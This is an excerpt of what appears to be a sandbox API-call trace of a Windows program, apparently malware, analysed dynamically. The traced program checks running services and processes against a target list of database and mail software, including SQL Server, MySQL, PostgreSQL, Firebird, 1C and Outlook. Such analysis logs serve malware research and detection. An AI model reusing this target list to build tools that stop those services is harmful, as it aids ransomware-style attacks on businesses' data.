	[0248.704] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0248.704] lstrlenW (lpString="PlugPlay") returned 8
	[0248.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0248.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0248.704] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0248.704] lstrlenW (lpString="Power") returned 5
	[0248.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0248.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0248.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0248.704] lstrlenW (lpString="ProfSvc") returned 7
	[0248.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0248.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0248.704] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0248.704] lstrlenW (lpString="RpcEptMapper") returned 12
	[0248.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0248.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0248.704] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0248.704] lstrlenW (lpString="RpcSs") returned 5
	[0248.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0248.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0248.704] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0248.705] lstrlenW (lpString="SamSs") returned 5
	[0248.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0248.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0248.705] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0248.705] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0248.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0248.705] lstrlenW (lpString="Schedule") returned 8
	[0248.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0248.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0248.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0248.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0248.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0248.705] lstrlenW (lpString="SENS") returned 4
	[0248.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0248.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0248.705] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0248.705] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0248.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0248.705] lstrlenW (lpString="ShellHWDetection") returned 16
	[0248.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0248.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0248.705] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0248.705] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0248.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0248.705] lstrlenW (lpString="Spooler") returned 7
	[0248.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0248.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0248.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0248.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0248.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0248.705] lstrlenW (lpString="Themes") returned 6
	[0248.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0248.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0248.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0248.706] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0248.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0248.706] lstrlenW (lpString="UxSms") returned 5
	[0248.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0248.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0248.706] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0248.706] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0248.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0248.706] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51d300 | out: hHeap=0x4a0000) returned 1
	[0248.706] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0
	[0248.707] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0248.707] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0248.708] lstrlenW (lpString="System") returned 6
	[0248.708] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0248.708] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0248.708] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0248.708] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0248.708] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0248.708] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0248.708] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0248.708] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0248.708] lstrlenW (lpString="smss.exe") returned 8
	[0248.708] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0248.708] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0248.708] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0248.708] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0248.708] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0248.708] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0248.708] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0248.708] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0248.709] lstrlenW (lpString="csrss.exe") returned 9
	[0248.709] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0248.709] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0248.709] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0248.709] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0248.709] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0248.709] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0248.709] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0248.709] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0248.709] lstrlenW (lpString="wininit.exe") returned 11
	[0248.709] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0248.709] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0248.709] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0248.709] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0248.710] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0248.710] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0248.710] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0248.710] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0248.710] lstrlenW (lpString="csrss.exe") returned 9
	[0248.710] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0248.710] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0248.710] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0248.710] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0248.710] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0248.710] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0248.710] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0248.710] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0248.710] lstrlenW (lpString="winlogon.exe") returned 12
	[0248.710] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0248.710] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0248.710] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0248.710] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0248.711] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0248.711] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0248.711] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0248.711] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0248.711] lstrlenW (lpString="services.exe") returned 12
	[0248.711] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0248.711] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0248.711] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0248.711] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0248.711] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0248.711] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0248.711] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0248.711] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0248.711] lstrlenW (lpString="lsass.exe") returned 9
	[0248.711] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0248.711] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0248.711] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0248.711] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0248.711] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0248.712] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0248.712] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0248.712] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0248.712] lstrlenW (lpString="lsm.exe") returned 7
	[0248.712] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0248.712] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0248.712] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0248.712] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0248.712] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0248.712] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0248.712] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0248.712] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.712] lstrlenW (lpString="svchost.exe") returned 11
	[0248.712] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0248.712] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0248.712] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0248.712] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0248.712] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0248.713] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.713] lstrlenW (lpString="svchost.exe") returned 11
	[0248.713] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0248.713] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.713] lstrlenW (lpString="svchost.exe") returned 11
	[0248.713] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0248.713] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0248.714] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.714] lstrlenW (lpString="svchost.exe") returned 11
	[0248.714] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0248.714] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.714] lstrlenW (lpString="svchost.exe") returned 11
	[0248.714] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0248.714] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0248.715] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0248.715] lstrlenW (lpString="audiodg.exe") returned 11
	[0248.715] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0248.715] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0248.715] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0248.715] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0248.715] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0248.715] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0248.715] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0248.715] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.715] lstrlenW (lpString="svchost.exe") returned 11
	[0248.715] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0248.715] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0248.715] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0248.715] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0248.715] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0248.715] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0248.715] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0248.715] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0248.716] lstrlenW (lpString="userinit.exe") returned 12
	[0248.716] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0248.716] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0248.716] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1
	[0248.716] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1
	[0248.716] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1
	[0248.716] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1
	[0248.716] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1
	[0248.716] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0248.716] lstrlenW (lpString="explorer.exe") returned 12
	[0248.716] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1
	[0248.716] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1
	[0248.716] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1
	[0248.716] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1
	[0248.716] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1
	[0248.717] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0248.717] lstrlenW (lpString="dwm.exe") returned 7
	[0248.717] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.717] lstrlenW (lpString="svchost.exe") returned 11
	[0248.717] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0248.717] lstrlenW (lpString="swpesp.exe") returned 10
	[0248.717] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0248.718] lstrlenW (lpString="spoolsv.exe") returned 11
	[0248.718] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0248.718] lstrlenW (lpString="dllhost.exe") returned 11
	[0248.718] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0248.718] lstrlenW (lpString="taskhost.exe") returned 12
	[0248.718] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.718] lstrlenW (lpString="svchost.exe") returned 11
	[0248.718] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0248.719] lstrlenW (lpString="reader_sl.exe") returned 13
	[0248.719] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0248.719] lstrlenW (lpString="cmd.exe") returned 7
